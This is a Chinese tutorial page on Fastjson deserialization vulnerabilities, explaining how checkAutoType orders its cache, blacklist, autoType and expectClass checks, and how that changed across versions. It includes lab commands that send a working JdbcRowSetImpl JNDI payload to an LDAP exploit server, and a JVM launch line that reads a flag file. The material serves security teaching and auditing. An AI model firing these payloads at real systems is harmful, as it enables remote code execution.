ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Fastjson 漏洞 · 02 · autoType 机制与 checkAutoType

Fastjson 漏洞 · 02 · autoType 机制与 checkAutoType 引子为什么同一个 payload在不同版本时灵时不灵只从网上抄 payload很容易遇到这种困惑同一个{type:com.sun.rowset.JdbcRowSetImpl, ...}有人说能打有人说早修了还有人说要加L...;才行。这些说法都可能是对的取决于版本。而版本之所以重要是因为 Fastjson 在 1.2.25 引入了一个守门函数——它决定了哪些类名能被加载。之后长达数年的攻防全部是在和这个函数博弈。这也是本系列最想建立的能力不是记住哪些 payload 能打而是看懂守门函数怎么放行、什么时候会误放行。在真实工作中这个能力直接对应两类任务代码审计 / 渗透看到JSON.parse(userInput)或autoTypeSupporttrue立刻能判断这里是不是可利用、大概能怎么利用应急 / 检测看到日志里的autoType is not support. xxx知道攻击者走到了哪一步、下一步可能在试什么。本篇要点checkAutoType的判断顺序是怎样的为什么顺序就是漏洞autoTypeSupport、白名单、safeMode、expectClass各是什么谁最彻底为什么查缓存排在查黑名单之前会出事autoType is not support这个报错具体说明检查停在了哪一步一、先给结论一次带type的解析会经过什么当 Fastjson 在 JSON 里读到type键名默认是JSON.DEFAULT_TYPE_KEY值为类名时它不是立刻Class.forName就完事而是会走一个守门函数ParserConfig.checkAutoType(String typeName, Class? expectClass, int features)Java 说明ParserConfigFastjson 的解析配置类保存 autoType 开关、黑白名单等设置。checkAutoType(...)它的方法。typeName是待检查的类名来自typeexpectClass是当前期望的类型可为nullfeatures是特性位标志。放行则返回Class否则抛异常。int features用整数位表示一组开关位运算用来传递各种解析选项。只有守门函数放行才继续去加载类、创建对象。所有的绕过本质都是在研究守门函数在什么情况下会误放行。守门函数的核心判断按 1.2.x 源码逻辑概括顺序很关键类名规范化去掉开头的L、结尾的;Java 的类描述符写法把/换成.。查缓存mappings如果这个类名之前被显式登记过TypeUtils.addMapping/ParserConfig缓存直接放行——这是一条快路径也是 1.2.47 缓存的成因。查黑名单命中denyList/denyHashCodes如com.sun.rowset.JdbcRowSetImpl、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl等一大批直接拒绝抛autoType is not support。autoType 总开关如果没有开启 autoTypeautoTypeSupportfalse且类不在白名单也拒绝。expectClass 例外如果当前解析期望的类型已知expectClass ! null且目标类是其子类/实现则可能放行——这是 1.2.68ExpectClass绕过的来源。加载并缓存通过TypeUtils.loadClass用类加载器加载返回Class。注意第 2 步在检查之前只要能让一个危险类名进入缓存就能跳过黑名单。这就是经典的 cache bypass。二、三个状态开关理解版本差异前先记住三个开关开关含义默认值1.2.xautoTypeSupport是否允许type自动加载任意类受黑白名单约束1.2.24 及更早为true1.2.25 起为false白名单acceptList/addAccept显式允许的类/包前缀空safeMode彻底禁止 autoType黑白名单都不看1.2.68 引入默认 false开启 autoType 的几种常见方式很多真实系统为了兼容会这么做风险也随之而来// 代码里开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ​ // 启动参数开启不少老系统/中间件这么干 // -Dfastjson.parser.autoTypeSupporttrue开启白名单相对安全ParserConfig.getGlobalInstance().addAccept(com.mycompany.model.);开启 safeMode最稳ParserConfig.getGlobalInstance().setSafeMode(true); // 或 -Dfastjson.parser.safeModetrue逐词拆解这三段代码ParserConfig一个类图纸负责 Fastjson 的解析配置——autoType 开关、黑白名单都归它管。getGlobalInstance()ParserConfig的方法返回全局唯一的那个配置对象这种整个进程只有一个的设计叫单例。所以改它等于改整个进程的解析行为。setAutoTypeSupport(true)配置对象上的方法参数true表示打开autoTypefalse表示关闭。addAccept(com.mycompany.model.)把某个包名前缀加入白名单参数是字符串。setSafeMode(true)打开安全模式彻底禁用 autoType。连起来读取出全局配置对象 → 调用它的某个开关方法。// -Dfastjson.parser.autoTypeSupporttrue这是启动参数写法含义见下面的通用概念。贯穿全文的通用概念后面不再重复解释类 / 对象类图纸如ParserConfig对象按图纸造出来的实例即getGlobalInstance()返回的东西。方法类或对象能执行的动作写作名字(参数)没有参数就写名字()。true/false布尔值表示开/真与关/假。-D名字值启动参数Java 启动时用来设置系统属性程序里用System.getProperty(名字)读取大量框架开关都靠它传入。命令行里写成java -D名字值 -cp ... 主类。TypeUtils.loadClass(name, loader, cache)用类加载器把类名加载成Classcachetrue会把它登记进缓存04 篇缓存绕过的基础。TypeUtils.addMapping(name, clazz)手动往缓存登记类名 → Class。因为检查逻辑先查缓存缓存就成了绕过入口。三、type在 JSON 里长什么样最常见的三种写法{type:com.example.User,name:tom} // 对象指定类 {type:[com.example.User,...] } // 数组以 [ 开头 {type:Lcom.example.User;,name:tom} // 类描述符写法 L...;Fastjson 解析到对象开头的type时会把它当作typeName如果是 type之外的默认键可用于自定义typeKey也支持调用守门函数放行后加载类、走ObjectDeserializer。记住L...;和[...这些奇怪写法不是 Fastjson 特意支持的语法而是解析器在做兼容/规范化时的处理恰恰被用来绕过检查。四、把守门函数拆开一次合法解析 vs 一次攻击场景 A正常业务指定目标类型User u JSON.parseObject(json, User.class); // 目标类型确定此时即便 JSON 里有type只要它不是User或其子类会被拒绝。这也是为什么用parseObject(json, XXX.class)指定类型比JSON.parse(json)安全得多。场景 B危险写法不指定类型Object o JSON.parse(json); // 目标类型未知 - expectClassnullexpectClass为空时第 5 步的例外失效只能靠 autoType 开关和白名单——如果开关被打开或存在缓存就危险了。靶场对照Bhttp://192.168.143.156:8080 # 靶场地址 # 1.2.24 默认就危险 cd /opt/fastjson-lab ./start.sh 1.2.24 8 # 启动 1.2.24该版本 autoType 默认开启 curl -s -G $B/parse --data-urlencode \ data{type:java.util.HashMap,x:1} # 用 type 指定 HashMap观察是否被实例化预期输出OK: {x1}不依赖脚本的手动等价操作start.sh所做的就是下面这一条java命令cd /opt/fastjson-lab mvn -q -B package # 首次编译靶场 /opt/jdk8/bin/java \ -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -Dlab.cmdid /tmp/fastjson-pwned.txt 21; cat /flag-fastjson /tmp/fastjson-pwned.txt 21; echo FASTJSON-JNDI-RCE-OK /tmp/fastjson-pwned.txt \ -cp target/fastjson-lab.jar:lib/fastjson-1.2.24.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 换版本把 classpath 里的 fastjson-1.2.24.jar 换成目标版本即可 # 停止pkill -f com.lab.fastjson.FastjsonLab五、黑名单为什么是打地鼠Fastjson 的denyList及后续基于 hashCode 的denyHashCodes里包含大量已知危险类例如com.sun.rowset.JdbcRowSetImpl触发 JNDIcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl定义字节码各类org.apache.*、java.lang.AutoCloseable相关 gadget……问题在于黑名单只能覆盖已经公开的 gadget只要换一个依赖库里的等价类例如另一个能触发 JNDI 的工厂类黑名单就失效更糟的是黑名单判断可能因为缓存、类名变形、expectClass 等被绕过。因此官方在 1.2.68 引入了safeMode在 1.2.83 又做了 autoType 行为变更最终建议迁移到 fastjson2六、版本演进一览版本关键变化对攻击的影响≤1.2.24autoType 默认开启直接type打1.2.25引入checkAutoType 黑名单autoType 默认关闭必须绕过1.2.41 / 1.2.42修L...;绕过及其变体换写法1.2.47出现java.lang.Class缓存绕过通用性极强的绕过1.2.62~1.2.68黑名单加固1.2.68 引入 safeMode、ExpectClass绕过开始依赖特定依赖/上下文1.2.80特定依赖下仍可绕过官方公告补丁未彻底1.2.83修复该绕过建议升级/迁移通用 payload 基本失效2.x (fastjson2)重写不再为兼容保留白名单默认更安全需显式注册才支持 autoType七、在靶场上观察检查逻辑ssh root192.168.143.156 # 登录实验机 cd /opt/fastjson-lab # 进入靶场目录 ​ # 1.2.24direct 直接成功 ./start.sh 1.2.24 8 # 启动 1.2.24 curl -s -G http://127.0.0.1:8080/parse --data-urlencode \ data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} # 发送 JdbcRowSetImpl → JNDI 链 # ERROR: com.alibaba.fastjson.JSONException: set property error, autoCommit # 需先启动 /opt/jndi-server报错是正常的JNDI 已触发、RCE 已发生 ​ # 1.2.83同样的 payload 被守门函数拦下 ./stop.sh; ./start.sh 1.2.83 8 # 结束旧进程并切换到 1.2.83 curl -s -G http://127.0.0.1:8080/parse --data-urlencode \ data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} # 发送同一份 payload # ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl不依赖脚本的手动等价操作切换版本换 classpath 里的 jar然后重启进程cd /opt/fastjson-lab # 1.2.24启动 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -Dlab.cmdid /tmp/fastjson-pwned.txt 21; cat /flag-fastjson /tmp/fastjson-pwned.txt 21; echo FASTJSON-JNDI-RCE-OK /tmp/fastjson-pwned.txt \ -cp target/fastjson-lab.jar:lib/fastjson-1.2.24.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # ...发送第一组请求... pkill -f com.lab.fastjson.FastjsonLab; sleep 1 # 1.2.83仅把 classpath 换成 fastjson-1.2.83.jar再次启动 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -cp target/fastjson-lab.jar:lib/fastjson-1.2.83.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 两次都请求 /parse即 JSON.parse对比返回即可看出守门函数的行为差异看到autoType is not support. 类名这句报错就说明守门函数在这里拦住了——分析绕过时这句话是第一线索。对应验证结果版本端点payload结果1.2.24/parseJdbcRowSetImpl→ JNDIRCE返回set property error但 JNDI 已触发、命令已执行1.2.83/parse同上blockedautoType is not support. com.sun.rowset.JdbcRowSetImpl八、自测checkAutoType的判断顺序里为什么查缓存放在查黑名单之前会出问题autoTypeSupport和白名单、safeMode 三者是什么关系哪个最彻底为什么JSON.parse(json)比JSON.parseObject(json, User.class)危险autoType is not support. xxx这个报错说明检查走到了哪一步用简要的话解释为什么黑名单天生打不过绕过
返回列表